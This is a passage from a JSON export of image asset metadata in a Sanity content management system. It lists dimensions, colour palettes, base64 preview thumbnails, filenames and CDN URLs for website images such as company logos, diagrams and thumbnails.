9zwqDaVv4+gVBYeSWRGTL4pYLJVhWZaQNRoezy6EhNSgERMVvQ7dtOE2GvA8j3me1xT6PpWOTCgYHJdxcGwSg5dlJArv8GWlBMMwBIQQEVVVFWiaJuZqtVobxpPxkoXw8LiCgZSMvkRGxHhhBvOtHnJBtVrtpCVtJyOEMC62bbsp7E/KOJCUsTeRRX9KwUihiMU/FbiuK0rl2HYztuFrrTLht3pIKY2CIKBS72gOfWO3sDs+KeJwvojlqo4oijaFMdaGDz4XhWFIpZ3xDDg7YjexJ5HDeS5UDfAhDmD90S1kjHEnlbZdzIKzNZbBrlEF5/Kz+KGS7kObwVp7m8Ke4Qx6YllsuZDB9ksKzj7/T7jB7bov2yHcn5pCb2oa+5JTGEjfR/zlHL5XNASU8kYLgiBAFHb0beOSR569BSf29A0S+Rk8+vAJ336viq/R/Daq+B78VcMwXO+BuImvReHfkP4DaX5Nt8qprY8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#386b73","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b7896","foreground":"#fff","population":0.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4d8db","foreground":"#000","population":1.5,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4d8db","foreground":"#000","population":1.5,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64bcf4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5794a3","foreground":"#fff","population":1.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3179ba","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c39d9b29746a88e7d67da02b0c5b37b43d21a385-400x247.png","path":"images/sczeoy4w/production/c39d9b29746a88e7d67da02b0c5b37b43d21a385-400x247.png","sha1hash":"c39d9b29746a88e7d67da02b0c5b37b43d21a385","size":14080,"uploadId":"8mvGIkWwm5xprkfhDOrLUjP9mTgQtlvD","url":"https://cdn.sanity.io/images/sczeoy4w/production/c39d9b29746a88e7d67da02b0c5b37b43d21a385-400x247.png"} {"_createdAt":"2022-06-15T20:01:45Z","_id":"image-c3e5124da423610543f73ddb637cc8eda677b003-752x405-webp","_rev":"CK1sLU2mnwa3vmbYWEbLqM","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:29Z","assetId":"c3e5124da423610543f73ddb637cc8eda677b003","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"MtLE1,~q?HS0t6ogV@xuM{ofjbofofoKt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAcIBf/EACMQAAICAQQABwAAAAAAAAAAAAIDAQQABQYRIQcVMUFRUmH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAgP/xAAaEQACAwEBAAAAAAAAAAAAAAABAgADESEx/9oADAMBAAIRAxEAPwB6bmaNh7UttpSMffrjJp3rtu7re92jXKIqKYJHYKeAiPzKn3nVQekW2GoJOB6LjvEB4ivYGiV0gUiskkUwPXMx85vWxVeSxpM0Gb98uOades160cBDIbxBcR7YYgrVywDIgXHESMT64YQu2x6pXnk//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363152","foreground":"#fff","population":3.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#541263","foreground":"#fff","population":0.28,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#747287","foreground":"#fff","population":5.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6b2cb","foreground":"#000","population":4.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcf1f7","foreground":"#000","population":3.17,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#747287","foreground":"#fff","population":5.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc4d59","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"c3e5124da423610543f73ddb637cc8eda677b003-752x405.webp","path":"images/sczeoy4w/production/c3e5124da423610543f73ddb637cc8eda677b003-752x405.webp","sha1hash":"c3e5124da423610543f73ddb637cc8eda677b003","size":26922,"uploadId":"GUtHoUwUPKGIAGd7vxntKacwzJgcJOjK","url":"https://cdn.sanity.io/images/sczeoy4w/production/c3e5124da423610543f73ddb637cc8eda677b003-752x405.webp"} {"_createdAt":"2022-06-17T08:37:18Z","_id":"image-c42168eac816741161a03152ec40477b4f0c5f1b-596x454-jpg","_rev":"0HOthdQkSgJdYc0CAFduqT","_type":"sanity.imageAsset","_updatedAt":"2022-06-27T13:30:10Z","altText":"Ovo Energy","assetId":"c42168eac816741161a03152ec40477b4f0c5f1b","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V58qKW~q000000xaa}oLogt7009F_3_3~q%Mt7RjWAM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3127753303964758,"height":454,"width":596},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABAAFB//EACMQAAIBAwQCAwEAAAAAAAAAAAECAwAEEQUGEiETkRQxUXH/xAAVAQEBAAAAAAAAAAAAAAAAAAACAf/EABoRAAICAwAAAAAAAAAAAAAAAAABAhETIVH/2gAMAwEAAhEDEQA/AOV7a0i415ZTA0Eccf20sgX1RLvTJ3hkUW8xGeOQtF2zue90cTCyWAiYAN5Iw3H+Zouo7ju/LlLmVZM5PE4HqjZZNIKw+O3iZu167qrHuZ2nmaRmJZj2f2qjsOR8P//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34271f","foreground":"#fff","population":5.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041405","foreground":"#fff","population":5.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#041405","foreground":"#fff","population":5.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e6e4e1","foreground":"#000","population":2.71,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90e896","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#787470","foreground":"#fff","population":0.5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2ad435","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Company_Logos_Ovo_Energy.jpg","path":"images/sczeoy4w/production/c42168eac816741161a03152ec40477b4f0c5f1b-596x454.jpg","sha1hash":"c42168eac816741161a03152ec40477b4f0c5f1b","size":59895,"title":null,"uploadId":"wgOwXmhDWFN0KJTg2k5LFO13afArYWxD","url":"https://cdn.sanity.io/images/sczeoy4w/production/c42168eac816741161a03152ec40477b4f0c5f1b-596x454.jpg"} {"_createdAt":"2023-06-07T13:32:53Z","_id":"image-c43dc6fbb766839dfec257f824d16cb125150ebb-1920x1037-jpg","_rev":"dsxJlHxlnt5nZt5n1uY2Kw","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:32:53Z","assetId":"c43dc6fbb766839dfec257f824d16cb125150ebb","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MmKT_L?w%MR*E1tlIoNFWXRjShn$IVj]sn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABwAE/8QAJBAAAgICAgEDBQAAAAAAAAAAAQIDBAAFBhETITFxEhRRUmH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEBf/EAB0RAQABBAMBAAAAAAAAAAAAAAEAAgMEMRETFFH/2gAMAwEAAhEDEQA/AFa9Ui4zpL+0aNrjpGT42PZP8+MGOH80eXcyRxa6LV17LF3WIkBm/OPexiS1RlhsKJInHTKfY4A83oVaNrYfaQrF4z0v0k+nxhsm8g87YnFsUqBom/YcU0Vq3JM+6vqznsgT9gHLC+KSQL6SP7/scsB3Vyj5qPk//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#493121","foreground":"#fff","population":4.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#753b18","foreground":"#fff","population":8.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#753b18","foreground":"#fff","population":8.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4bba8","foreground":"#000","population":5.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecae86","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae896c","foreground":"#fff","population":1.82,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#299cb7","foreground":"#fff","population":1.43,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"everactive-customer-img.jpg","path":"images/sczeoy4w/production/c43dc6fbb766839dfec257f824d16cb125150ebb-1920x1037.jpg","sha1hash":"c43dc6fbb766839dfec257f824d16cb125150ebb","size":883064,"uploadId":"zzTT0ohH3ynYIINv95d3vS9Qgw3B6uFK","url":"https://cdn.sanity.io/images/sczeoy4w/production/c43dc6fbb766839dfec257f824d16cb125150ebb-1920x1037.jpg"} {"_createdAt":"2023-04-12T10:57:48Z","_id":"image-c48b524c02c2c42d1b91edcfc95e4aa08905886f-3840x918-png","_rev":"ULcVtA1fOCO5xNRu1YVJFj","_type":"sanity.imageAsset","_updatedAt":"2023-04-12T10:57:48Z","assetId":"c48b524c02c2c42d1b91edcfc95e4aa08905886f","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.183006535947713,"height":918,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAABBklEQVQYlT3LzVKCQAAAYN7/IWpKxsrqYqeuYGLLn9pEFtAiP7qwK7vsshiY2njIme/6KZU8VvLI6j0Ve1YfSr6joiNsmyIWr0pEZMnbM8pbQpsMVSmqSr5TKnmg4pewrqAdIj+f4caapoYJdcPXxr4+CV8AHL1+a+NAN0LdCEeTEDiRD3HJOwXTNifbLG9gul0EQjOSx+HbzYPbv3fUgdO7s69v7au+ddEDl+qJOnCenr35R37KwZLChMWrOoyl9yXc943proGLrFlhzbA5w+YUm24BnAI4OXALc5rbc+TDktBWmXtoERTJmme5jFIZZSJZ8xVuCNtRcfx3OMO0W2YUxgTh+g/tPwZGWdsDIQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34396a","foreground":"#fff","population":0.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c104f","foreground":"#fff","population":3.98,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c104f","foreground":"#fff","population":3.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5b0d8","foreground":"#000","population":0.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3a9f5","foreground":"#000","population":0.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646cac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c4784","foreground":"#fff","population":0.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"first_diagram.png","path":"images/sczeoy4w/production/c48b524c02c2c42d1b91edcfc95e4aa08905886f-3840x918.png","sha1hash":"c48b524c02c2c42d1b91edcfc95e4aa08905886f","size":35182,"uploadId":"RUQso2RUYBIDZwA6ktgXbVF2fgMY7Qat","url":"https://cdn.sanity.io/images/sczeoy4w/production/c48b524c02c2c42d1b91edcfc95e4aa08905886f-3840x918.png"} {"_createdAt":"2022-07-06T08:12:04Z","_id":"image-c49aa024b64012920f36be76dce8581e6a340388-64x64-svg","_rev":"qkpX9b3U0TpOGFQp9fOZV5","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:19:22Z","altText":"Aiven for Redis® logo","assetId":"c49aa024b64012920f36be76dce8581e6a340388","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFfklEQVQ4jTWU21NTVxSHNw/0Hf+ETjVn74DQzEhnynTQtz50pn0ooLRKq1UQvGBAKVSDXAxaIVwDhIIFUe4IVjQgBAXDRa4xgRyucgkIDJdASILRsFa74/ThzHn7Zq+1ft+PJNEmksSaSAqrJXLW5nWZtvtcpJ3B0bQrJZLpO86yPstpNuCMYMN7J5lhKZwZO4+z8fRQZj4WwsQDoczsdcrXSELZBAlhIiGJ9DFJ9qsh1+g/3lfp00Ny1hoZy9obLrLOyWjWbY1kPa7fpP37p6WD+xHSEdfP0jfb4VLT1HHp+KNQqRgTwkQhRCp+9sMX8ySUA+W+WnKdNnon0ubDCfRJajx9ZrhCWx2XhHaMETrxvNCF56gez9A+/IUO4Ck6jD9RA55gJmcYMxtDpaIyRCoGcOgpNkpIqlDjpaD1h67TxrRE2jyVwJ64E/y0eNW/HeL8dRAb8BIuBeghJqAPogJew7kvh+BMwChEHDZiuHTMHcbMMxwaykQhjIleJI0+9ElhNVEKWm+4IX3kVn6jBU1EL9yXj8L9eCOWx5ngnnwcSuUilMgnoThuGgvls3D79DRcOGqGcF8PlL80OpSJB4iSVh5NZ1WNKbTakerfiBVn9WDULoHFtI3zBissmnZwaWIXlybsuCjacWHcDosTDhxqt4IqZhZ+lRnxODU5+E7DmPkYuU3LUzNY5WSa8ACVsnp4fGMQVkQrWoxbYGix4NzQBu7tfkT3x33cXN7DhTEbWlffw+r8HlamL0BkoAH4Tj2HYmNp5C4t092h5dZbkgq8I6uFluQBnO1bhec541jw4wt8nGbEtRkb7m66sL9xGWtTJnCwZRUXzXaozpjH6K9G4CQdxpP8+szYSbKEkqVMWua6LfkbM2VV8Cy5H2Z7VrAt04j533dgU/KoB2jbcGH3w0WsiDdhb8MyLpp3sSZjDi4EDgK/Po8UzynJEYqdKlqyf1dSiipZJWgVvbAqbuHC8DoO1r3F6d413LN9wA/v3bg8aUNRv4Grs3Zcm3NinXIWLgf2wxmhDz05ZcNOki+onbm0aD9LosFcWQW0KXpgc24bbasOtBjWccuy69kfAKDL6Ua71YUfXW7PPuuV0yAP7IFzgh494WcDTqIW8iwFVO3KkRRivuwePFe8gpWxdTRr57E1bQBHG2bQvrnngb6b2EZT2zKuzdpwfdGBjcpJiA/shiihC7lRXFNSJOR0FNI8a56kANWyv6BD0YWWoRXoLTFixQkt6jJH0GrZRfvWe3xd/RZr4wdx6NECLos78Eg5gQlHXgA36pOm+g5SLKhSimnOpFqSi8UyDegUL2F9chMtw2sw9EDEt/p36LJ/8ABNWgt2Fk3guO4dLJm3sUlphsQjOuCaetynXSlEI2QFa2h2Q5Ek26HxV6P28jNYGliCnWUbbkxvwbbFhvZ1J+6s2HFtahuXx7ZgbWYHZ1+vQ/W1EUiSteEVodXhKRSqC+ZAnxKqitQIqlGNNMdd9W0F6JI6oD9/APrVQ9hbMAw9BSPwqsAAr9RG6C404Uv1GDQrhiH7Ox0k+rW44+lTQxxrjYql7T5EI6i8NELWQY2gStVQ1VSJb6679Egxln5dBiVB5VAcdB8Kgx5CflA15AbVgSqoATKDmkAZ2ITJh5vcSax5OoE+SfdUH23zIhqWxV/prRGy/DxQQTXKx+c7zZPkI78+j9SfklLk4edGcU1vCtUOBa17c502pieyZn/ep8m0hpASIYtoJBn/Qw96xqfZ9fxQ/Po8UjynPPzcKK4pd99TKKz2vILWS/5gjd6/f15NePtz0KeP8r9nfB+NoAouFrJvFtGcDp7TPEHt5EZxTe8KZTpeKLdo5dE0WnUgRajxipVqSSJtJon/Af8Fx0Hkz2i6jeMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#341c3a","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#240c61","foreground":"#fff","population":1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5f2ade","foreground":"#fff","population":2.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0bfcf","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc7ce4","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c569e","foreground":"#fff","population":1.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f2ade","foreground":"#fff","population":2.37,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-redis.svg","path":"images/sczeoy4w/production/c49aa024b64012920f36be76dce8581e6a340388-64x64.svg","sha1hash":"c49aa024b64012920f36be76dce8581e6a340388","size":1023,"title":"Aiven for Redis® logo","uploadId":"7IOAIc6rNBflHziirrXkhBWPO1wCi73r","url":"https://cdn.sanity.io/images/sczeoy4w/production/c49aa024b64012920f36be76dce8581e6a340388-64x64.svg"} {"_createdAt":"2022-06-16T22:54:10Z","_id":"image-c4b7beea36fec1ed1a960f84cc27a3fe31e399e3-7093x2941-png","_rev":"qkpX9b3U0TpOGFQp8fO4O7","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:10Z","assetId":"c4b7beea36fec1ed1a960f84cc27a3fe31e399e3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M01{TsxuD%WBM{WBt7WBWBof4nWBxuoft7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.411764705882353,"height":2941,"width":7093},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAALiMAAC4jAHM9rsvAAABLUlEQVQokW2SXStEURSGx7cLHzPMZGa97yOEG6ZQXEgUJRckhBST//8rtM4+Z4Zy8bb3WXvtZ71r7dMCtexoQUxDzNjV2sRqlZyi3OvfM1CrubgAsWHHNmgTtAZaAg3s2LG1B5XyfABaLOCoCxTYL6ASuGXHGejcjqEdu6ArO15BH6BcH21dgnqNOyqH4y7HwCmIAcQVxA3EqR1Htm4hvkCjBNp6Ad2B9u3Ml2z17eiA5pPVVJmyowdKhxcQJ6BDiGuIka3v2uUb6BniwdY76BOqImPXDXDBlkFD0DHEPqgPOgDd2nFvV85yBHk59wlK6FMC01DlsLyY5kFdiIQmaBk0C7FoR9uOdVAHYgW0CtV3t7iq1AbN1S03T59z1HRpvwy7aPJr/I79zZnEfwBw20WUij/XcgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c14","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0c04","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c14","foreground":"#fff","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#727226","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dddd9b","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#727226","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bfbf3f","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"DV_bw.png","path":"images/sczeoy4w/production/c4b7beea36fec1ed1a960f84cc27a3fe31e399e3-7093x2941.png","sha1hash":"c4b7beea36fec1ed1a960f84cc27a3fe31e399e3","size":114341,"uploadId":"TbetOOMmxzE0UC862KvBSz740gLtEH6G","url":"https://cdn.sanity.io/images/sczeoy4w/production/c4b7beea36fec1ed1a960f84cc27a3fe31e399e3-7093x2941.png"} {"_createdAt":"2022-06-14T14:41:11Z","_id":"image-c4f607430c9247fb62cdf031b8ce04f1947b6f8b-512x512-jpg","_rev":"0HOthdQkSgJdYc0C9r2iS4","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:11Z","assetId":"c4f607430c9247fb62cdf031b8ce04f1947b6f8b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eZKwzv%2.TI:%L_3WBxaofIUI=bHMxs:WB%Mj[oLj[f+kDaeRij[ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcFAwb/xAAjEAABAwQBBAMAAAAAAAAAAAABAgMEAAUGETESEyFRByJh/8QAFgEBAQEAAAAAAAAAAAAAAAAABAID/8QAGREAAwEBAQAAAAAAAAAAAAAAAAECAxFB/9oADAMBAAIRAxEAPwCu5DPNttq3kFIdUQhvq46jxXg7XkV4t2Xw7fdZrcqPL2naRroV6rf+QbgzDTAS599vDaE+SP3VTfMJr0bKrOO2EtsuB1SyNHVF01avgvPJVn30uik+aVxgzWJsVt9hxK21jYUk7FKUEIJfbpKRnKpJWFrS6QAsbTz6rGzm7yrpdSuSUAoGgEDQpSs3KdItNqTRxHIrjCtPYYe02lw6BHHFKUqyD//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#674830","foreground":"#fff","population":2.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#492a12","foreground":"#fff","population":1.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d6b9a5","foreground":"#000","population":3.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9c6b6","foreground":"#000","population":2.5,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6b9a5","foreground":"#000","population":3.81,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae8060","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c48c64","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ana_vasiliuk.jpeg","path":"images/sczeoy4w/production/c4f607430c9247fb62cdf031b8ce04f1947b6f8b-512x512.jpg","sha1hash":"c4f607430c9247fb62cdf031b8ce04f1947b6f8b","size":18911,"uploadId":"Gtvc8ZXVF6JTUEXmWkrto17wI2gzkCC4","url":"https://cdn.sanity.io/images/sczeoy4w/production/c4f607430c9247fb62cdf031b8ce04f1947b6f8b-512x512.jpg"} {"_createdAt":"2022-09-23T13:14:18Z","_id":"image-c4f835fdce0eb231ec202ad0d07212a6315113dd-3070x1718-jpg","_rev":"NtJpmdKTpdEgU65ZHBQJZf","_type":"sanity.imageAsset","_updatedAt":"2022-09-23T13:14:18Z","assetId":"c4f835fdce0eb231ec202ad0d07212a6315113dd","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7SY]jMen5IBnl~qWBM{oyRjxuWARjkCR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7869615832363213,"height":1718,"width":3070},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIDBAj/xAAfEAACAgEEAwAAAAAAAAAAAAABAgARBAMSITETInH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABYRAQEBAAAAAAAAAAAAAAAAAAABMf/aAAwDAQACEQMRAD8A6YxGCjXpa2nu5Xy0o75ksYCsn6Y5A2LxC3WtKZQe4RlHqIQj/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#826178","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c2668","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#826178","foreground":"#fff","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6a5bb","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8edeee","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6ea1b7","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f265b4","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"thumnail-flink-integrations.jpg","path":"images/sczeoy4w/production/c4f835fdce0eb231ec202ad0d07212a6315113dd-3070x1718.jpg","sha1hash":"c4f835fdce0eb231ec202ad0d07212a6315113dd","size":529245,"uploadId":"ZCUNP3J2fJci4AMyVetRbNqFscqdCL6c","url":"https://cdn.sanity.io/images/sczeoy4w/production/c4f835fdce0eb231ec202ad0d07212a6315113dd-3070x1718.jpg"} {"_createdAt":"2023-07-21T13:07:08Z","_id":"image-c508127fbdc5d895f26a4951e8440386d43f8f15-860x404-gif","_rev":"Q21J3pgWoUWkhUhtSotksT","_type":"sanity.imageAsset","_updatedAt":"2023-07-21T13:07:08Z","assetId":"c508127fbdc5d895f26a4951e8440386d43f8f15","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.128712871287129,"height":404,"width":860},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAJABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMECP/EAB4QAQEAAQMFAAAAAAAAAAAAAAEAAgQRgSMxMjOh/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AMwYvSAB4kZCvj9r9J24o9X78oEJs7MQxB//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4454","foreground":"#f